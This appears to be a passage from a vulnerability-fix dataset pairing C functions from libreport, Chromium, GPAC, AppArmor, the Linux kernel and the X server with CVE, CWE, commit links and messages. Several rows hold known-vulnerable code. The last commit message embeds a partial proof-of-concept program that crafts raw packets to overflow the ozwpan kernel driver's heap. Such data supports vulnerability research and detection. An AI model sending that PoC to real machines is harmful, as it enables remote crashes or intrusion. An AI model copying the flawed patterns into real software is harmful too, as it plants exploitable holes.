/* Reset mode/uig/gid to correct values for all files created by event run */
dd = dd_opendir(g_dump_dir_name, 0);
if (dd)
dd_sanitize_mode_and_owner(dd);
}
if (retval == 0 && !g_expert_mode)
{
/* Check whether NOT_REPORTABLE element appeared. If it did, we'll stop
* even if exit code is "success".
*/
if (!dd) /* why? because dd may be already open by the code above */
dd = dd_opendir(g_dump_dir_name, DD_OPEN_READONLY | DD_FAIL_QUIETLY_EACCES);
if (!dd)
xfunc_die();
char *not_reportable = dd_load_text_ext(dd, FILENAME_NOT_REPORTABLE, 0
| DD_LOAD_TEXT_RETURN_NULL_ON_FAILURE
| DD_FAIL_QUIETLY_ENOENT
| DD_FAIL_QUIETLY_EACCES);
if (not_reportable)
retval = 256;
free(not_reportable);
}
if (dd)
dd_close(dd);
/* Stop if exit code is not 0, or no more commands */
if (stop_requested
|| retval != 0
|| spawn_next_command_in_evd(evd) < 0
) {
log_notice("done running event on '%s': %d", g_dump_dir_name, retval);
append_to_textview(g_tv_event_log, "\n");
/* Free child output buffer */
strbuf_free(cmd_output);
cmd_output = NULL;
/* Hide spinner and stop btn */
gtk_widget_hide(GTK_WIDGET(g_spinner_event_log));
gtk_widget_hide(g_btn_stop);
/* Enable (un-gray out) navigation buttons */
gtk_widget_set_sensitive(g_btn_close, true);
gtk_widget_set_sensitive(g_btn_next, true);
problem_data_reload_from_dump_dir();
update_gui_state_from_problem_data(UPDATE_SELECTED_EVENT);
if (retval != 0)
{
gtk_widget_show(GTK_WIDGET(g_img_process_fail));
/* 256 means NOT_REPORTABLE */
if (retval == 256)
cancel_processing(g_lbl_event_log, _("Processing was interrupted because the problem is not reportable."), TERMINATE_NOFLAGS);
else
{
/* We use SIGTERM to stop event processing on user's request.
* So SIGTERM is not a failure.
*/
if (retval == EXIT_CANCEL_BY_USER || WTERMSIG(run_state->process_status) == SIGTERM)
cancel_processing(g_lbl_event_log, /* default message */ NULL, TERMINATE_NOFLAGS);
else
{
cancel_processing(g_lbl_event_log, _("Processing failed."), TERMINATE_WITH_RERUN);
on_failed_event(evd->event_name);
}
}
}
else
{
gtk_label_set_text(g_lbl_event_log, is_processing_finished() ? _("Processing finished.")
: _("Processing finished, please proceed to the next step."));
}
g_source_remove(g_event_source_id);
g_event_source_id = 0;
close(evd->fd);
g_io_channel_unref(evd->channel);
free_run_event_state(evd->run_state);
strbuf_free(evd->event_log);
free(evd->event_name);
free(evd);
/* Inform abrt-gui that it is a good idea to rescan the directory */
kill(getppid(), SIGCHLD);
if (is_processing_finished())
hide_next_step_button();
else if (retval == 0 && !g_verbose && !g_expert_mode)
on_next_btn_cb(GTK_WIDGET(g_btn_next), NULL);
return FALSE; /* "please remove this event" */
}
/* New command was started. Continue waiting for input */
/* Transplant cmd's output fd onto old one, so that main loop
* is none the wiser that fd it waits on has changed
*/
xmove_fd(evd->run_state->command_out_fd, evd->fd);
evd->run_state->command_out_fd = evd->fd; /* just to keep it consistent */
ndelay_on(evd->fd);
/* Revive "Cancel" button */
g_event_child_pid = evd->run_state->command_pid;
return TRUE; /* "please don't remove this event (yet)" */
}
|
static gboolean consume_cmd_output(GIOChannel *source, GIOCondition condition, gpointer data)
{
struct analyze_event_data *evd = data;
struct run_event_state *run_state = evd->run_state;
bool stop_requested = false;
int retval = consume_event_command_output(run_state, g_dump_dir_name);
if (retval < 0 && errno == EAGAIN)
/* We got all buffered data, but fd is still open. Done for now */
return TRUE; /* "please don't remove this event (yet)" */
/* EOF/error */
if (WIFEXITED(run_state->process_status)
&& WEXITSTATUS(run_state->process_status) == EXIT_STOP_EVENT_RUN
) {
retval = 0;
run_state->process_status = 0;
stop_requested = true;
terminate_event_chain(TERMINATE_NOFLAGS);
}
unexport_event_config(evd->env_list);
evd->env_list = NULL;
/* Make sure "Cancel" button won't send anything (process is gone) */
g_event_child_pid = -1;
evd->run_state->command_pid = -1; /* just for consistency */
/* Write a final message to the log */
if (evd->event_log->len != 0 && evd->event_log->buf[evd->event_log->len - 1] != '\n')
save_to_event_log(evd, "\n");
/* If program failed, or if it finished successfully without saying anything... */
if (retval != 0 || evd->event_log_state == LOGSTATE_FIRSTLINE)
{
char *msg = exit_status_as_string(evd->event_name, run_state->process_status);
if (retval != 0)
{
/* If program failed, emit *error* line */
evd->event_log_state = LOGSTATE_ERRLINE;
}
append_to_textview(g_tv_event_log, msg);
save_to_event_log(evd, msg);
free(msg);
}
/* Append log to FILENAME_EVENT_LOG */
update_event_log_on_disk(evd->event_log->buf);
strbuf_clear(evd->event_log);
evd->event_log_state = LOGSTATE_FIRSTLINE;
struct dump_dir *dd = NULL;
if (geteuid() == 0)
{
/* Reset mode/uig/gid to correct values for all files created by event run */
dd = dd_opendir(g_dump_dir_name, 0);
if (dd)
dd_sanitize_mode_and_owner(dd);
}
if (retval == 0 && !g_expert_mode)
{
/* Check whether NOT_REPORTABLE element appeared. If it did, we'll stop
* even if exit code is "success".
*/
if (!dd) /* why? because dd may be already open by the code above */
dd = dd_opendir(g_dump_dir_name, DD_OPEN_READONLY | DD_FAIL_QUIETLY_EACCES);
if (!dd)
xfunc_die();
char *not_reportable = dd_load_text_ext(dd, FILENAME_NOT_REPORTABLE, 0
| DD_LOAD_TEXT_RETURN_NULL_ON_FAILURE
| DD_FAIL_QUIETLY_ENOENT
| DD_FAIL_QUIETLY_EACCES);
if (not_reportable)
retval = 256;
free(not_reportable);
}
if (dd)
dd_close(dd);
/* Stop if exit code is not 0, or no more commands */
if (stop_requested
|| retval != 0
|| spawn_next_command_in_evd(evd) < 0
) {
log_notice("done running event on '%s': %d", g_dump_dir_name, retval);
append_to_textview(g_tv_event_log, "\n");
/* Free child output buffer */
strbuf_free(cmd_output);
cmd_output = NULL;
/* Hide spinner and stop btn */
gtk_widget_hide(GTK_WIDGET(g_spinner_event_log));
gtk_widget_hide(g_btn_stop);
/* Enable (un-gray out) navigation buttons */
gtk_widget_set_sensitive(g_btn_close, true);
gtk_widget_set_sensitive(g_btn_next, true);
problem_data_reload_from_dump_dir();
update_gui_state_from_problem_data(UPDATE_SELECTED_EVENT);
if (retval != 0)
{
gtk_widget_show(GTK_WIDGET(g_img_process_fail));
/* 256 means NOT_REPORTABLE */
if (retval == 256)
cancel_processing(g_lbl_event_log, _("Processing was interrupted because the problem is not reportable."), TERMINATE_NOFLAGS);
else
{
/* We use SIGTERM to stop event processing on user's request.
* So SIGTERM is not a failure.
*/
if (retval == EXIT_CANCEL_BY_USER || WTERMSIG(run_state->process_status) == SIGTERM)
cancel_processing(g_lbl_event_log, /* default message */ NULL, TERMINATE_NOFLAGS);
else
{
cancel_processing(g_lbl_event_log, _("Processing failed."), TERMINATE_WITH_RERUN);
on_failed_event(evd->event_name);
}
}
}
else
{
gtk_label_set_text(g_lbl_event_log, is_processing_finished() ? _("Processing finished.")
: _("Processing finished, please proceed to the next step."));
}
g_source_remove(g_event_source_id);
g_event_source_id = 0;
close(evd->fd);
g_io_channel_unref(evd->channel);
free_run_event_state(evd->run_state);
strbuf_free(evd->event_log);
free(evd->event_name);
free(evd);
/* Inform abrt-gui that it is a good idea to rescan the directory */
kill(getppid(), SIGCHLD);
if (is_processing_finished())
hide_next_step_button();
else if (retval == 0 && !g_verbose && !g_expert_mode)
on_next_btn_cb(GTK_WIDGET(g_btn_next), NULL);
return FALSE; /* "please remove this event" */
}
/* New command was started. Continue waiting for input */
/* Transplant cmd's output fd onto old one, so that main loop
* is none the wiser that fd it waits on has changed
*/
xmove_fd(evd->run_state->command_out_fd, evd->fd);
evd->run_state->command_out_fd = evd->fd; /* just to keep it consistent */
ndelay_on(evd->fd);
/* Revive "Cancel" button */
g_event_child_pid = evd->run_state->command_pid;
return TRUE; /* "please don't remove this event (yet)" */
}
|
C
|
libreport
| 0 |
CVE-2011-2350
|
https://www.cvedetails.com/cve/CVE-2011-2350/
|
CWE-20
|
https://github.com/chromium/chromium/commit/b944f670bb7a8a919daac497a4ea0536c954c201
|
b944f670bb7a8a919daac497a4ea0536c954c201
|
[JSC] Implement a helper method createNotEnoughArgumentsError()
https://bugs.webkit.org/show_bug.cgi?id=85102
Reviewed by Geoffrey Garen.
In bug 84787, kbr@ requested to avoid hard-coding
createTypeError(exec, "Not enough arguments") here and there.
This patch implements createNotEnoughArgumentsError(exec)
and uses it in JSC bindings.
c.f. a corresponding bug for V8 bindings is bug 85097.
Source/JavaScriptCore:
* runtime/Error.cpp:
(JSC::createNotEnoughArgumentsError):
(JSC):
* runtime/Error.h:
(JSC):
Source/WebCore:
Test: bindings/scripts/test/TestObj.idl
* bindings/scripts/CodeGeneratorJS.pm: Modified as described above.
(GenerateArgumentsCountCheck):
* bindings/js/JSDataViewCustom.cpp: Ditto.
(WebCore::getDataViewMember):
(WebCore::setDataViewMember):
* bindings/js/JSDeprecatedPeerConnectionCustom.cpp:
(WebCore::JSDeprecatedPeerConnectionConstructor::constructJSDeprecatedPeerConnection):
* bindings/js/JSDirectoryEntryCustom.cpp:
(WebCore::JSDirectoryEntry::getFile):
(WebCore::JSDirectoryEntry::getDirectory):
* bindings/js/JSSharedWorkerCustom.cpp:
(WebCore::JSSharedWorkerConstructor::constructJSSharedWorker):
* bindings/js/JSWebKitMutationObserverCustom.cpp:
(WebCore::JSWebKitMutationObserverConstructor::constructJSWebKitMutationObserver):
(WebCore::JSWebKitMutationObserver::observe):
* bindings/js/JSWorkerCustom.cpp:
(WebCore::JSWorkerConstructor::constructJSWorker):
* bindings/scripts/test/JS/JSFloat64Array.cpp: Updated run-bindings-tests.
(WebCore::jsFloat64ArrayPrototypeFunctionFoo):
* bindings/scripts/test/JS/JSTestActiveDOMObject.cpp:
(WebCore::jsTestActiveDOMObjectPrototypeFunctionExcitingFunction):
(WebCore::jsTestActiveDOMObjectPrototypeFunctionPostMessage):
* bindings/scripts/test/JS/JSTestCustomNamedGetter.cpp:
(WebCore::jsTestCustomNamedGetterPrototypeFunctionAnotherFunction):
* bindings/scripts/test/JS/JSTestEventTarget.cpp:
(WebCore::jsTestEventTargetPrototypeFunctionItem):
(WebCore::jsTestEventTargetPrototypeFunctionAddEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionRemoveEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionDispatchEvent):
* bindings/scripts/test/JS/JSTestInterface.cpp:
(WebCore::JSTestInterfaceConstructor::constructJSTestInterface):
(WebCore::jsTestInterfacePrototypeFunctionSupplementalMethod2):
* bindings/scripts/test/JS/JSTestMediaQueryListListener.cpp:
(WebCore::jsTestMediaQueryListListenerPrototypeFunctionMethod):
* bindings/scripts/test/JS/JSTestNamedConstructor.cpp:
(WebCore::JSTestNamedConstructorNamedConstructor::constructJSTestNamedConstructor):
* bindings/scripts/test/JS/JSTestObj.cpp:
(WebCore::JSTestObjConstructor::constructJSTestObj):
(WebCore::jsTestObjPrototypeFunctionVoidMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionIntMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionObjMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithSequenceArg):
(WebCore::jsTestObjPrototypeFunctionMethodReturningSequence):
(WebCore::jsTestObjPrototypeFunctionMethodThatRequiresAllArgsAndThrows):
(WebCore::jsTestObjPrototypeFunctionSerializedValue):
(WebCore::jsTestObjPrototypeFunctionIdbKey):
(WebCore::jsTestObjPrototypeFunctionOptionsObject):
(WebCore::jsTestObjPrototypeFunctionAddEventListener):
(WebCore::jsTestObjPrototypeFunctionRemoveEventListener):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndOptionalArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndTwoOptionalArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithCallbackArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonCallbackArgAndCallbackArg):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod1):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod2):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod3):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod4):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod5):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod6):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod7):
(WebCore::jsTestObjConstructorFunctionClassMethod2):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod11):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod12):
(WebCore::jsTestObjPrototypeFunctionMethodWithUnsignedLongArray):
(WebCore::jsTestObjPrototypeFunctionConvert1):
(WebCore::jsTestObjPrototypeFunctionConvert2):
(WebCore::jsTestObjPrototypeFunctionConvert3):
(WebCore::jsTestObjPrototypeFunctionConvert4):
(WebCore::jsTestObjPrototypeFunctionConvert5):
(WebCore::jsTestObjPrototypeFunctionStrictFunction):
* bindings/scripts/test/JS/JSTestSerializedScriptValueInterface.cpp:
(WebCore::JSTestSerializedScriptValueInterfaceConstructor::constructJSTestSerializedScriptValueInterface):
(WebCore::jsTestSerializedScriptValueInterfacePrototypeFunctionAcceptTransferList):
git-svn-id: svn://svn.chromium.org/blink/trunk@115536 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
JSValue JSTestEventTarget::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
{
return getDOMConstructor<JSTestEventTargetConstructor>(exec, jsCast<JSDOMGlobalObject*>(globalObject));
}
|
JSValue JSTestEventTarget::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
{
return getDOMConstructor<JSTestEventTargetConstructor>(exec, jsCast<JSDOMGlobalObject*>(globalObject));
}
|
C
|
Chrome
| 0 |
CVE-2018-13006
|
https://www.cvedetails.com/cve/CVE-2018-13006/
|
CWE-125
|
https://github.com/gpac/gpac/commit/bceb03fd2be95097a7b409ea59914f332fb6bc86
|
bceb03fd2be95097a7b409ea59914f332fb6bc86
|
fixed 2 possible heap overflows (inc. #1088)
|
GF_Err trak_Write(GF_Box *s, GF_BitStream *bs)
{
GF_Err e;
GF_TrackBox *ptr = (GF_TrackBox *)s;
e = gf_isom_box_write_header(s, bs);
if (e) return e;
if (ptr->Header) {
e = gf_isom_box_write((GF_Box *) ptr->Header, bs);
if (e) return e;
}
if (ptr->References) {
e = gf_isom_box_write((GF_Box *) ptr->References, bs);
if (e) return e;
}
if (ptr->editBox) {
e = gf_isom_box_write((GF_Box *) ptr->editBox, bs);
if (e) return e;
}
if (ptr->Media) {
e = gf_isom_box_write((GF_Box *) ptr->Media, bs);
if (e) return e;
}
if (ptr->meta) {
e = gf_isom_box_write((GF_Box *) ptr->meta, bs);
if (e) return e;
}
if (ptr->groups) {
e = gf_isom_box_write((GF_Box *) ptr->groups, bs);
if (e) return e;
}
if (ptr->udta) {
e = gf_isom_box_write((GF_Box *) ptr->udta, bs);
if (e) return e;
}
return GF_OK;
}
|
GF_Err trak_Write(GF_Box *s, GF_BitStream *bs)
{
GF_Err e;
GF_TrackBox *ptr = (GF_TrackBox *)s;
e = gf_isom_box_write_header(s, bs);
if (e) return e;
if (ptr->Header) {
e = gf_isom_box_write((GF_Box *) ptr->Header, bs);
if (e) return e;
}
if (ptr->References) {
e = gf_isom_box_write((GF_Box *) ptr->References, bs);
if (e) return e;
}
if (ptr->editBox) {
e = gf_isom_box_write((GF_Box *) ptr->editBox, bs);
if (e) return e;
}
if (ptr->Media) {
e = gf_isom_box_write((GF_Box *) ptr->Media, bs);
if (e) return e;
}
if (ptr->meta) {
e = gf_isom_box_write((GF_Box *) ptr->meta, bs);
if (e) return e;
}
if (ptr->groups) {
e = gf_isom_box_write((GF_Box *) ptr->groups, bs);
if (e) return e;
}
if (ptr->udta) {
e = gf_isom_box_write((GF_Box *) ptr->udta, bs);
if (e) return e;
}
return GF_OK;
}
|
C
|
gpac
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/27c68f543e5eba779902447445dfb05ec3f5bf75
|
27c68f543e5eba779902447445dfb05ec3f5bf75
|
Revert of Add accelerated VP9 decode infrastructure and an implementation for VA-API. (patchset #7 id:260001 of https://codereview.chromium.org/1318863003/ )
Reason for revert:
I think this patch broke compile step for Chromium Linux ChromeOS MSan Builder.
First failing build:
http://build.chromium.org/p/chromium.memory.fyi/builders/Chromium%20Linux%20ChromeOS%20MSan%20Builder/builds/8310
All recent builds:
http://build.chromium.org/p/chromium.memory.fyi/builders/Chromium%20Linux%20ChromeOS%20MSan%20Builder?numbuilds=200
Sorry for the revert. I'll re-revert if I'm wrong.
Cheers,
Tommy
Original issue's description:
> Add accelerated VP9 decode infrastructure and an implementation for VA-API.
>
> - Add a hardware/platform-independent VP9Decoder class and related
> infrastructure, implementing AcceleratedVideoDecoder interface. VP9Decoder
> performs the initial stages of the decode process, which are to be done
> on host/in software, such as stream parsing and reference frame management.
>
> - Add a VP9Accelerator interface, used by the VP9Decoder to offload the
> remaining stages of the decode process to hardware. VP9Accelerator
> implementations are platform-specific.
>
> - Add the first implementation of VP9Accelerator - VaapiVP9Accelerator - and
> integrate it with VaapiVideoDecodeAccelerator, for devices which provide
> hardware VP9 acceleration through VA-API. Hook it up to the new
> infrastructure and VP9Decoder.
>
> - Extend Vp9Parser to provide functionality required by VP9Decoder and
> VP9Accelerator, including superframe parsing, handling of loop filter
> and segmentation initialization, state persistence across frames and
> resetting when needed. Also add code calculating segmentation dequants
> and loop filter levels.
>
> - Update vp9_parser_unittest to the new Vp9Parser interface and flow.
>
> TEST=vp9_parser_unittest,vda_unittest,Chrome VP9 playback
> BUG=chrome-os-partner:41469,chrome-os-partner:41470,chromium:525331
> TBR=dpranke@chromium.org
>
> Committed: https://crrev.com/e3cc0a661b8abfdc74f569940949bc1f336ece40
> Cr-Commit-Position: refs/heads/master@{#349312}
TBR=wuchengli@chromium.org,kcwu@chromium.org,sandersd@chromium.org,jorgelo@chromium.org,posciak@chromium.org
NOPRESUBMIT=true
NOTREECHECKS=true
NOTRY=true
BUG=chrome-os-partner:41469,chrome-os-partner:41470,chromium:525331
Review URL: https://codereview.chromium.org/1357513002
Cr-Commit-Position: refs/heads/master@{#349443}
|
VaapiWrapper::VADisplayState::~VADisplayState() {}
|
VaapiWrapper::VADisplayState::~VADisplayState() {}
|
C
|
Chrome
| 0 |
CVE-2016-1658
|
https://www.cvedetails.com/cve/CVE-2016-1658/
|
CWE-284
|
https://github.com/chromium/chromium/commit/5c437bcc7a51edbef45242c5173cf7871fde2866
|
5c437bcc7a51edbef45242c5173cf7871fde2866
|
Make extensions use a correct same-origin check.
GURL::GetOrigin does not do the right thing for all types of URLs.
BUG=573317
Review URL: https://codereview.chromium.org/1658913002
Cr-Commit-Position: refs/heads/master@{#373381}
|
void ExtensionOptionsGuest::DidNavigateMainFrame(
const content::LoadCommittedDetails& details,
const content::FrameNavigateParams& params) {
if (attached()) {
auto guest_zoom_controller =
ui_zoom::ZoomController::FromWebContents(web_contents());
guest_zoom_controller->SetZoomMode(
ui_zoom::ZoomController::ZOOM_MODE_ISOLATED);
SetGuestZoomLevelToMatchEmbedder();
if (!url::IsSameOriginWith(params.url, options_page_)) {
bad_message::ReceivedBadMessage(web_contents()->GetRenderProcessHost(),
bad_message::EOG_BAD_ORIGIN);
}
}
}
|
void ExtensionOptionsGuest::DidNavigateMainFrame(
const content::LoadCommittedDetails& details,
const content::FrameNavigateParams& params) {
if (attached()) {
auto guest_zoom_controller =
ui_zoom::ZoomController::FromWebContents(web_contents());
guest_zoom_controller->SetZoomMode(
ui_zoom::ZoomController::ZOOM_MODE_ISOLATED);
SetGuestZoomLevelToMatchEmbedder();
if (params.url.GetOrigin() != options_page_.GetOrigin()) {
bad_message::ReceivedBadMessage(web_contents()->GetRenderProcessHost(),
bad_message::EOG_BAD_ORIGIN);
}
}
}
|
C
|
Chrome
| 1 |
CVE-2011-3619
|
https://www.cvedetails.com/cve/CVE-2011-3619/
|
CWE-20
|
https://github.com/torvalds/linux/commit/a5b2c5b2ad5853591a6cac6134cd0f599a720865
|
a5b2c5b2ad5853591a6cac6134cd0f599a720865
|
AppArmor: fix oops in apparmor_setprocattr
When invalid parameters are passed to apparmor_setprocattr a NULL deref
oops occurs when it tries to record an audit message. This is because
it is passing NULL for the profile parameter for aa_audit. But aa_audit
now requires that the profile passed is not NULL.
Fix this by passing the current profile on the task that is trying to
setprocattr.
Signed-off-by: Kees Cook <kees@ubuntu.com>
Signed-off-by: John Johansen <john.johansen@canonical.com>
Cc: stable@kernel.org
Signed-off-by: James Morris <jmorris@namei.org>
|
static int apparmor_path_chown(struct path *path, uid_t uid, gid_t gid)
{
struct path_cond cond = { path->dentry->d_inode->i_uid,
path->dentry->d_inode->i_mode
};
if (!mediated_filesystem(path->dentry->d_inode))
return 0;
return common_perm(OP_CHOWN, path, AA_MAY_CHOWN, &cond);
}
|
static int apparmor_path_chown(struct path *path, uid_t uid, gid_t gid)
{
struct path_cond cond = { path->dentry->d_inode->i_uid,
path->dentry->d_inode->i_mode
};
if (!mediated_filesystem(path->dentry->d_inode))
return 0;
return common_perm(OP_CHOWN, path, AA_MAY_CHOWN, &cond);
}
|
C
|
linux
| 0 |
CVE-2015-8845
|
https://www.cvedetails.com/cve/CVE-2015-8845/
|
CWE-284
|
https://github.com/torvalds/linux/commit/7f821fc9c77a9b01fe7b1d6e72717b33d8d64142
|
7f821fc9c77a9b01fe7b1d6e72717b33d8d64142
|
powerpc/tm: Check for already reclaimed tasks
Currently we can hit a scenario where we'll tm_reclaim() twice. This
results in a TM bad thing exception because the second reclaim occurs
when not in suspend mode.
The scenario in which this can happen is the following. We attempt to
deliver a signal to userspace. To do this we need obtain the stack
pointer to write the signal context. To get this stack pointer we
must tm_reclaim() in case we need to use the checkpointed stack
pointer (see get_tm_stackpointer()). Normally we'd then return
directly to userspace to deliver the signal without going through
__switch_to().
Unfortunatley, if at this point we get an error (such as a bad
userspace stack pointer), we need to exit the process. The exit will
result in a __switch_to(). __switch_to() will attempt to save the
process state which results in another tm_reclaim(). This
tm_reclaim() now causes a TM Bad Thing exception as this state has
already been saved and the processor is no longer in TM suspend mode.
Whee!
This patch checks the state of the MSR to ensure we are TM suspended
before we attempt the tm_reclaim(). If we've already saved the state
away, we should no longer be in TM suspend mode. This has the
additional advantage of checking for a potential TM Bad Thing
exception.
Found using syscall fuzzer.
Fixes: fb09692e71f1 ("powerpc: Add reclaim and recheckpoint functions for context switching transactional memory processes")
Cc: stable@vger.kernel.org # v3.9+
Signed-off-by: Michael Neuling <mikey@neuling.org>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
|
void restore_tm_state(struct pt_regs *regs)
{
unsigned long msr_diff;
clear_thread_flag(TIF_RESTORE_TM);
if (!MSR_TM_ACTIVE(regs->msr))
return;
msr_diff = current->thread.ckpt_regs.msr & ~regs->msr;
msr_diff &= MSR_FP | MSR_VEC | MSR_VSX;
if (msr_diff & MSR_FP) {
fp_enable();
load_fp_state(¤t->thread.fp_state);
regs->msr |= current->thread.fpexc_mode;
}
if (msr_diff & MSR_VEC) {
vec_enable();
load_vr_state(¤t->thread.vr_state);
}
regs->msr |= msr_diff;
}
|
void restore_tm_state(struct pt_regs *regs)
{
unsigned long msr_diff;
clear_thread_flag(TIF_RESTORE_TM);
if (!MSR_TM_ACTIVE(regs->msr))
return;
msr_diff = current->thread.ckpt_regs.msr & ~regs->msr;
msr_diff &= MSR_FP | MSR_VEC | MSR_VSX;
if (msr_diff & MSR_FP) {
fp_enable();
load_fp_state(¤t->thread.fp_state);
regs->msr |= current->thread.fpexc_mode;
}
if (msr_diff & MSR_VEC) {
vec_enable();
load_vr_state(¤t->thread.vr_state);
}
regs->msr |= msr_diff;
}
|
C
|
linux
| 0 |
CVE-2017-12182
|
https://www.cvedetails.com/cve/CVE-2017-12182/
|
CWE-20
|
https://cgit.freedesktop.org/xorg/xserver/commit/?id=1b1d4c04695dced2463404174b50b3581dbd857b
|
1b1d4c04695dced2463404174b50b3581dbd857b
| null |
ProcXF86DRIAuthConnection(register ClientPtr client)
{
xXF86DRIAuthConnectionReply rep = {
.type = X_Reply,
.sequenceNumber = client->sequence,
.length = 0,
.authenticated = 1
};
REQUEST(xXF86DRIAuthConnectionReq);
REQUEST_SIZE_MATCH(xXF86DRIAuthConnectionReq);
if (stuff->screen >= screenInfo.numScreens) {
client->errorValue = stuff->screen;
return BadValue;
}
if (!DRIAuthConnection(screenInfo.screens[stuff->screen], stuff->magic)) {
ErrorF("Failed to authenticate %lu\n", (unsigned long) stuff->magic);
rep.authenticated = 0;
}
WriteToClient(client, sizeof(xXF86DRIAuthConnectionReply), &rep);
return Success;
}
|
ProcXF86DRIAuthConnection(register ClientPtr client)
{
xXF86DRIAuthConnectionReply rep = {
.type = X_Reply,
.sequenceNumber = client->sequence,
.length = 0,
.authenticated = 1
};
REQUEST(xXF86DRIAuthConnectionReq);
REQUEST_SIZE_MATCH(xXF86DRIAuthConnectionReq);
if (stuff->screen >= screenInfo.numScreens) {
client->errorValue = stuff->screen;
return BadValue;
}
if (!DRIAuthConnection(screenInfo.screens[stuff->screen], stuff->magic)) {
ErrorF("Failed to authenticate %lu\n", (unsigned long) stuff->magic);
rep.authenticated = 0;
}
WriteToClient(client, sizeof(xXF86DRIAuthConnectionReply), &rep);
return Success;
}
|
C
|
xserver
| 0 |
CVE-2015-4001
|
https://www.cvedetails.com/cve/CVE-2015-4001/
|
CWE-189
|
https://github.com/torvalds/linux/commit/b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c
|
b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c
|
ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
